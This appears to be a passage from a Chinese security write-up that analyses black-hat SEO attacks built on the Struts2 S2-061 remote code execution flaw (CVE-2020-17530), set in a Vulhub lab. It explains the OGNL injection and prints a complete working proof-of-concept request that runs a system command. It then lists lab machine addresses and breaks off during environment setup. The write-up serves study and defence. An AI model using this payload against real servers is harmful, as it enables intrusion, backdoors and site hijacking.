写在最前
本文创作的初衷在于分享和总结,自S2的RCE漏洞遍历之后,逐步涉及大规模事件的漏洞利用和黑灰产分析。基于工作中安全分析技术的分享提升,遂有关于黑帽SEO的从RCE漏洞Get Shell到网站篡改劫持的基本操作实践分析。在篡改劫持和黑灰产分析的路上逐渐深入,才知道基本操作实践分析是真的基本且班门弄斧,原先羞愧于浅显本不欲发出来,后想来初衷在于分享和总结,那就欢迎各位师傅来侃我。其实我还知道几种不方便发文的篡改劫持方式,有分析有总结有收获才算进步,尚差“侃侃而谈”的交流。
概述
篡改黑链一直是网站防护绕不开的风险点,且篡改事件背后一直隐隐约约黑灰产的身影。移动互联网用户基数大,而黑灰产的博彩、色情对移动端流量的需求经久不衰,网站篡改定向劫持移动端流量、黑灰产博彩色情地址只接受来自移动端流量,已经成为黑帽SEO的普及手段。本文基于一类可GetShell的靶场远程RCE漏洞(S2-061),实践分析其漏洞利用(反弹shell)、后门驻留(冰蝎)、网站篡改(显式和隐式)、流量劫持(外部JS),从而理解一类攻击者批量获取Shell,出售Shell给黑帽SEO,运营者批量篡改、周期性流量劫持,具体表现为大规模博彩或色情定向劫持移动端流量的黑灰产行为。
RCE漏洞——资源概述
漏洞
漏洞名称
Struts2系列漏洞S2-061,CVE-2020-17530=CNVD-2020-69833
漏洞原理
S2-061:Struts远程代码执行漏洞,在使用某些标签属性的情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行。S2-061是对S2-059修复方案的bypass。S2-059的修复补丁仅修复绕过,OGNL表达式的执行的特性仍在。
S2-059:Struts2会对某些标签属性(比如id
,S2-062的属性是name) 的属性值进行二次表达式解析,因此当这些标签属性中使用%{x}
且x
的值用户可控时,用户再传入一个%{payload}
即可造成OGNL表达式执行。
漏洞POC
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
上述POC无回显,无回显方式通常配合DNSlog验证。回显POC,需要注意修改Content-Type满足POST方式提交数据即可。
设备
机器
Ø Linux:Kali
靶机:192.168.68.129
攻击:192.168.68.134
Ø Windows
靶机:192.168.68.146
攻击:192.168.68.133
工具
Ø Shell管理工具
冰蝎3
Ø Shell编码工具
VScode
Ø 流量代理工具
Burpsuite(BP)
环境搭建
漏洞环境
Ø Vulhub
Kali靶机部署docker,搭建Vulhub靶场,开启S2-061靶场环境,具体步骤参考:
-
靶机Docker部署并启动Vulhub的S2-061环境
</